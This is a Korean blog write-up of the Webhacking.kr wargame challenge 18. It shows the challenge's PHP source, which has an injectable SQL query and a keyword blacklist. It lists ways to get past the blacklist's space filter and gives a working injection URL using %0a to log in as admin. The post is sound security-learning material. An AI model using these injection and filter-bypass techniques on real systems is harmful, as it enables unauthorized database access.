[Webhacking.kr] 18번 SQL INJECTION
SQL INJECTIONRESULTindex.phps |
이렇다. SQL INJECTION 문제인듯
소스를 준다니까 소스를 보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | <html> <head> <title>Challenge 18</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } input { background:silver; } a { color:lightgreen; } </style> </head> <body> <br><br> <center><h1>SQL INJECTION</h1> <form method=get action=index.php> <table border=0 align=center cellpadding=10 cellspacing=0> <tr><td><input type=text name=no></td><td><input type=submit></td></tr> </table> </form> <a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br> <? if($_GET[no]) { if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); $q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); if($q[0]=="guest") echo ("hi guest"); if($q[0]=="admin") { @solve(); echo ("hi admin!"); } } ?> </a> <br><br><a href=index.phps>index.phps</a> </cener> </body> </html> | cs |
1을 입력하면 hi guest가 나온다.
오...ㅇ..오...; 어렵다;; 나한테는 이런 문제가 처음이라
일단 분석
no을 get형식으로 입력받아서 실행된다.
eregi를 사용하여 no을 입력받았을때 이 안에서 필터링하여 만약 no안에
공백, / , \( , \), \t , | , &, union, select, from, 0x 등이 있으면 exit함수로 종료된다.
여기서 sql문에서 id가 guest이고 no=1인 id는 guest이다.
그러므로 대충 2가 admin이라 예상하고 진행하면
id=guest and no=3 or no=2 로 넣는다하면
id가 게스트고 no가 3 이거나 no=2 인 id를 불러온다.
=> (id=guest and no=3) or no=2 으로 앞에 보이는 괄호안의 연산이 먼저 시행된다.
or을 이용하자.
근데.. eregi때문에 공백이 필터되므로 공백을 우회해야한다.
공백 우회로는 \t 이나 \n이 있는데 \t는 필터링되므로 \n을 이용하자 (공백우회(%20)로는 Tab(%09)이용 / Line Feed(%0a) 이용 / Carrage Return(%0d) 이용 / 주석(/**/) 이용 / 괄호() 이용 / AND(&&)나 OR(||) 이용 등등)
\n을 url인코딩한것은 %0a이다.
3 or no=2
=> 3%0aor%0ano=2
url : http://webhacking.kr/challenge/web/web-32/index.php?no=3%0aor%0ano=2
Congratulation!
You have cleared the 18 problems.
Score + 100
'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글
[Webhacking.kr] 24번 (0) | 2017.09.06 |
---|---|
[Webhacking.kr] 19번 (0) | 2017.09.06 |
[Webhacking.kr] 17번 (0) | 2017.09.04 |
[Webhacking.kr] 16번 (0) | 2017.09.04 |
[Webhacking.kr] 15번 (0) | 2017.09.04 |